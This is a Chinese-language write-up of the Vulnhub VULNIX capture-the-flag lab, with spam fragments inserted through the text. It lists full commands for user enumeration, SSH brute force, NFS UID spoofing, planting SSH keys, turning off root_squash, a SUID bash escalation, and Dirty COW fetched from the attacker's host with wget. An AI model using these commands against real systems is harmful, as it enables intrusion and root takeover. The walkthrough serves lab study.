独得之见网

【甄选靶场】

【甄选靶场】

Vulnhub百个项目渗透

Vulnhub百个项目渗透——项目二十一:HACKLAB_VULNIX(NFS挂载,甄选靶场ssh毒化)

靶场地址


🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月22日🌴
🍭作者水平很有限,甄选靶场如果发现错误,甄选靶场还望告知,甄选靶场感谢!甄选靶场

巅峰之路

  • Vulnhub百个项目渗透
  • 前言
  • 一、甄选靶场梳理流程
  • 二、甄选靶场信息收集
      • smtp信息枚举
      • finger信息枚举
      • RPC枚举
  • 三、甄选靶场NFS枚举与挂载
  • 四、甄选靶场SSH爆破
  • 五、甄选靶场内网信息收集
  • 六、甄选靶场SSH毒化
  • 七、甄选靶场提权
    • 方法一
    • 方法二:
    • 方法三
    • 总结

前言

本文章仅用作实验学习,甄选靶场实验环境均为自行搭建的甄选靶场公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。甄选靶场本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


一、梳理流程

  1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
  2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
  3. 二次收集(基于已得到的服务或者主机再次信息收集)
  4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
  5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

二、信息收集

Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-21 22:42 EDTNmap scan report for 192.168.247.151Host is up (0.0012s latency).Not shown: 65518 closed tcp ports (reset)PORT      STATE SERVICE    VERSION22/tcp    open  ssh        OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)|   2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)|_  256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)25/tcp    open  smtp       Postfix smtpd| ssl-cert: Subject: commonName=vulnix| Not valid before: 2012-09-02T17:40:12|_Not valid after:  2022-08-31T17:40:12|_ssl-date: 2022-09-22T02:45:41+00:00; +5s from scanner time.|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN79/tcp    open  finger     Linux fingerd|_finger: No one logged on.\x0D110/tcp   open  pop3?|_ssl-date: 2022-09-22T02:45:39+00:00; +5s from scanner time.| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after:  2022-09-02T17:40:22111/tcp   open  rpcbind    2-4 (RPC #100000)| rpcinfo: |   program version    port/proto  service|   100000  2,3,4        111/tcp   rpcbind|   100000  2,3,4        111/udp   rpcbind|   100000  3,4          111/tcp6  rpcbind|   100000  3,4          111/udp6  rpcbind|   100003  2,3,4       2049/tcp   nfs|   100003  2,3,4       2049/tcp6  nfs|   100003  2,3,4       2049/udp   nfs|   100003  2,3,4       2049/udp6  nfs|   100005  1,2,3      37426/udp6  mountd|   100005  1,2,3      38965/tcp6  mountd|   100005  1,2,3      46624/udp   mountd|   100005  1,2,3      56153/tcp   mountd|   100021  1,3,4      33877/udp   nlockmgr|   100021  1,3,4      39911/tcp6  nlockmgr|   100021  1,3,4      44334/tcp   nlockmgr|   100021  1,3,4      59606/udp6  nlockmgr|   100024  1          37688/udp6  status|   100024  1          38302/udp   status|   100024  1          47460/tcp   status|   100024  1          59425/tcp6  status|   100227  2,3         2049/tcp   nfs_acl|   100227  2,3         2049/tcp6  nfs_acl|   100227  2,3         2049/udp   nfs_acl|_  100227  2,3         2049/udp6  nfs_acl143/tcp   open  imap       Dovecot imapd| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after:  2022-09-02T17:40:22|_ssl-date: 2022-09-22T02:45:40+00:00; +6s from scanner time.512/tcp   open  exec       netkit-rsh rexecd513/tcp   open  login?514/tcp   open  tcpwrapped993/tcp   open  ssl/imap   Dovecot imapd|_ssl-date: 2022-09-22T02:45:39+00:00; +5s from scanner time.| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after:  2022-09-02T17:40:22995/tcp   open  ssl/pop3s?| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after:  2022-09-02T17:40:22|_ssl-date: 2022-09-22T02:45:39+00:00; +5s from scanner time.2049/tcp  open  nfs_acl    2-3 (RPC #100227)44334/tcp open  nlockmgr   1-4 (RPC #100021)47460/tcp open  status     1 (RPC #100024)53287/tcp open  mountd     1-3 (RPC #100005)56153/tcp open  mountd     1-3 (RPC #100005)57249/tcp open  mountd     1-3 (RPC #100005)

在这里插入图片描述

  1. 开启了22端口的ssh,我们可以尝试登录,在获取到一定的账号后,可以尝试使用字典爆破登录
  2. 开启了smtp服务,可以利用他进行信息枚举
  3. finger 也可以出现信息泄露的问题
  4. pop3 是简单的邮件协议
  5. rpc --同样可以造成信息泄露
  6. nfs —挂载,这个是重点
    必须要理解NFS权限是如何工作的:

NFS 通常与 Kerberos 配对以实现强大的身份验证机制,因为 NFS 本身仅根据用户的 UID/GID对用户进行身份验证;非常不安全

一旦NFS文件系统被远程主机以读/写权限成功挂载,每个共享文件的唯一保护就是它的权限。此权限绑定到用户的用户ID。如果共享相同用户ID的两个用户挂载相同的 NFS文件系统,可以修改彼此的文件。这是NFS的一项功能,UID/GUID或用户名/组名用于识别和验证客户端;如果没有keberos服务

由于目标没有 Kerberos 设置,因此只需找到经过身份验证以使用NFS的用户的UID和GUID(很可能是名为用户vulnix),并创建具有相同UID和GUID的用户。

但是没有目标中任何用户的UID或GID。这意味着目前无法访问 NFS 共享,即使挂载了该共享。

smtp信息枚举

利用的字典等都是kalI自带的smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.247.151-M    ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY)-U    ---通过 smtp 服务检查的用户名文件-t    ---host 服务器主机运行 smtp 服务

利用这个工具可以借助不安全配置的smtp所造成的信息泄露来获取一定的存在用户
在这里插入图片描述

finger信息枚举

finger命令用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别

finger user@192.168.147.151
在这里插入图片描述

finger泄露出来的信息是这样,说明它可以登录,对应的user开启了一个服务
这里也可以利用脚本批量测试finger

git clone https://github.com/Kan1shka9/Finger-User-Enumeration.gitcd Finger-User-Enumeration  然后该下sh文件IP:./finger_enum_user.sh user.txt

到这里我们已经获得了一个用户,那么我们就去爆破一下,看看ssh能不能登陆

RPC枚举

rpcinfo -p 192.168.247.151

在这里插入图片描述

与我们之前拿到的nmao扫描结果一致,这里就不说啥了

三、NFS枚举与挂载

showmount -e 192.168.247.151得到挂载目录如下/home/vulnix *那么我们现在就把这个文件夹挂载到我们本地mkdir nfs   ---创建个挂载目录mount -t nfs 192.168.247.151:/home/vulnix /root/Desktop/21/nfs   ---挂载vulnix目录cd nfs cd: 权限不够: nfs

此时共享已经完成,接下来只需要创建一个与那边的用户具有相同的id与gid用户即可
为了知道这个用户的id我们需要进去看一看,此时此刻唯一的办法就是ssh爆破

四、SSH爆破

我们已经大概知道了用户名是user那么就用rockyou的密码本去爆破

locate rockyou.txthydra -l user -P /root/Desktop/rockyou.txt 192.168.253.167 ssh -t 4
账号:user 密码:letmein

五、内网信息收集

ssh user@192.168.247.151letmeinyes  cat /etc/passwd这是默认的目录,里面有用户的权限

在这里插入图片描述

知道了对应挂载目录的用户名是:vulnx,用户权限是2008

useradd -u 2008 vulnix

在这里插入图片描述

在这里插入图片描述`这是因为我们依旧在root用户下,我们要将kali的本地用户切换成vulnix
切换过去以后访问nfs文件夹,这个时候不能算shell,因为不管怎样,这个用户始终在我们本地,我们也只是拥有对文件的访问的权限

在这里插入图片描述

此刻我们已经具有了读写的能力,那么为了进一步扩大战果,我们可以采用ssh写密钥的方式登录这个用户,因为

六、SSH毒化

ssh-keygen  ---全部回车cd /root/.ssh cat id_rsa.pub   ---里面的值复制在mnt目录下创建:mkdir .ssh   cd .ssh  进去后写入:echo '' >authorized_keysssh vulnix@192.168.253.168    ---成功登录

七、提权

方法一

sudo -l回显信息如下:ser vulnix may run the following commands on this host:    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports看到sudo提权,可以以root用户身份执行sudoedit /etc/exports,编辑/etc/exports该文件cat /etc/exports/home/vulnix	*(rw,root_squash)root_squash: 客户端的root用户映射到任何人:客户端无法使用setuid位将恶意软件留给他人执行。no_root_squash:通过此选项,停用了此安全功能,从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中(因此,在其余客户端中)sudoedit /etc/exports  ---root权限编辑通过用no_root_squash替换root_squash来实现!危害:如果no_root_squash使用,远程 root 用户可以更改共享文件系统上的任何文件,并留下被木马感染的应用程序,让其他用户无意中执行。

在这里插入图片描述
在这里插入图片描述
总的来说,挂载区不仅仅存在着文件,信息的交互,也存在着权限的更迭,这是一个关于逻辑的问题

这里关于传shell有一个点:如果我们直接从本地传给靶机,那么我们的shell就是64位的,与靶场的32位环境不兼容的,如果是我们从靶场cp一个shell到他的挂载文件夹,那么就是32位的,因为那是他的原生shell。但是这又会导致权限不足的问题,那么我们再用root的kali把这个shell弄到另一个文件里,那么因为是root执行的,那么这个shell就会变成root

回到kali输入:df修改好后down掉挂载:umount /tmp/nfs   ---全部挂载删除mount -t nfs 192.168.247.151:/home/vulnix /tmp/nfs  ---重新在挂在到nfs新目录下1)在vulnixssh vulnix@192.168.253.167cp /bin/bash .2)在kali执行cat bash >dayu    chmod 4777 dayu本地计算机的/bin/bash复制到/tmp/nfs并赋权./bash -p   ---保留原始的shell权限id成功获得root权限!-p  ---打开特权模式。在此模式下,不处理$ENV和$BASH_ENV文件,不从环境继承shell函数,并且如果 SHELLOPTS、BASHOPTS、CDPATH和GLOBIGNORE变量出现在环境中,它们将被忽略,如果shell不等于真实用户(组)id的有效用户(组)id就会启动,并且没有提供-p选项则执行这些操作并将有效用户id设置为真实用户ID。如果在启动时提供了-p选项,则不会重置有效的用户ID。关闭此选项会导致有效用户和组ID设置为真实用户和组ID。

方法二:

既然可以修改配置文件,那么就把root加进去,然后写密钥连接不就好了嘛

sudoedit /etc/exports这个地方修改为/root然后保存重启环境!showmount -e 192.168.253.167---这个时候就能看到root可以被挂载,然后我们直接挂就完事了mount -t nfs 192.168.247.151:/home/vulnix /tmp/nfs然后再跟之前一样的利用SSH登录即可

在这里插入图片描述

方法三

此环境需要32位同环境操作!

dirty_cow:40839cp /usr/share/exploitdb/exploits/linux/local/40839.c .gcc 40839.c -lcrypt -pthread -o exppython -m SimpleHTTPServer 8081wget http://192.168.253.138:8081/expchmod +x exp./exp   ---它会要求输入任何密码!此脚本会将root用户典当为firefart用户!以firefart用户身份使用ssh登录:ssh firefart@192.168.253.167打开/etc/passwd文件将firefart更改为root在以root登录ssh root@192.168.253.167

总结

1)通过telnet连接收集用户名敏感信息
2)finger查看用户登录信息
3)使用rpcinfo进行RPC枚举
4)使用showmount进行NFS枚举
5)hydra爆破ssh密码
6)ssh-key毒化攻击getshell
7)特定linux UID权限用户登录挂载的NFS分区
8)使用ssh私匙登录ssh
9)用no_root_squash替换root_squash以停用安全功能,从而允许客户端的root权限操作最终使文件以root身份出现在导出的文件系统中(在其余客户端中)
10)客户端本地以root身份运行cat命令拷贝shell文件,并chmod 4777赋予权限,最后执行shell文件加上-p参数提权

未经允许不得转载:独得之见网 » 【甄选靶场】